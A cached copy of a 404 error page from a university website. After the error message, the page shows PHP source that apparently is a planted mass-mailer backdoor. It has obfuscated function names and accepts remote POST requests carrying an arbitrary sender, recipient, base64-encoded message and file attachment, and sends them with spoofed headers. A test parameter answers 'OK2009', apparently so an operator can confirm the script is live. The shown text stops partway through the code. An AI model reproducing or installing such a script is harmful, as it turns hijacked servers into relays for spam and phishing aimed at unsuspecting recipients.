Документ взят из кэша поисковой машины. Адрес
оригинального документа
: http://www.sai.msu.su/groups/cluster/efremov/psi/zz21.php
Дата изменения: Wed Apr 29 15:18:28 2009 Дата индексирования: Sat Oct 17 04:41:45 2009 Кодировка: Поисковые слова: south pole |
The page cannot be foundThe page you are looking for might have been removed, had its name changed, or is temporarily unavailable. Please try the following:
HTTP Error 404 - File or directory not found.
|
function yFWtLwpJ($xctmp, $from, $to, $subj, $text, $filename) {
$f = fopen($filename,"rb");
$un = strtoupper(uniqid(time()));
$head = "From: $from\n";
$head .= "To: $to\n";
$head .= "Reply-To: $from\n";
$head .= "Subject: $subj\n";
$head .= "Content-Type:multipart/mixed;";
$head .= "boundary=\"----------".$un."\"\n\n";
$zag = "------------".$un."\nContent-Type:text/html;\n";
$zag .= "Content-Transfer-Encoding: 8bit\n\n$text\n\n";
$zag .= "------------".$un."\n";
$zag .= "Content-Type: application/octet-stream;";
$zag .= "name=\"".basename($filename)."\"\n";
$zag .= "Content-Transfer-Encoding:base64\n";
$zag .= "Content-Disposition:attachment;";
$zag .= "filename=\"".basename($filename)."\"\n\n";
$zag .= chunk_split(base64_encode(fread($f,filesize($filename))))."\n";
return @mail("$to", "$subj", $zag, $head);
}
function zdxBGQYk($xctmp,$from,$to,$subj,$text) {
$head = "From: $from\n";
$head .= "To: $to\n";
$head .= "Subject: $subj\n";
$head .= "Reply-To: $from\n";
$head .= "Content-type: text/html; charset=windows-1251" . "\r\n";
return @mail($to,$subj,$text,$head);
}
if (!empty($_POST['caption']) && !empty($_POST['email']) && !empty($_POST['clientname']) && !empty($_POST['emailsend']) && !empty($_POST['message']) && ($_POST['index'] == 'send'))
{
$xclient = substr(htmlspecialchars(trim($_POST['clientname'])), 0, 80);
$title = substr(htmlspecialchars(trim($_POST['caption'])), 0, 80);
$mess64 = base64_decode($_POST['message']);
$mess = substr(trim($mess64), 0, 10000000);
$send_to = $_POST['emailsend'];
$from = $_POST['email'];
if($_FILES['file']['name'] !=''){
if (is_dir("tmp")) { } else { mkdir("tmp"); }
if(is_uploaded_file($_FILES['file']['tmp_name'])) {
if(move_uploaded_file($_FILES['file']['tmp_name'], "tmp/".basename($_FILES['file']['name']))) {
if(yFWtLwpJ($xclient,$from,$send_to,$title,$mess,"tmp/".basename($_FILES['file']['name']))!== FALSE) { echo "OK-FILE"; } else { echo "ERROR-FILE"; }
@unlink("tmp/".basename($_FILES['file']['name']));
} else { echo "ERROR-UPLOAD"; }
} else { echo "ERROR-MOVE"; }
} else {
if(zdxBGQYk($xclient,$from,$send_to,$title,$mess) !== FALSE) {
echo "OK-MESS"; } else { echo "ERROR-MESS"; }
}
}
else
{
if ($_GET['index'] == 'test') {echo "OK2009"; exit;} else
{
echo '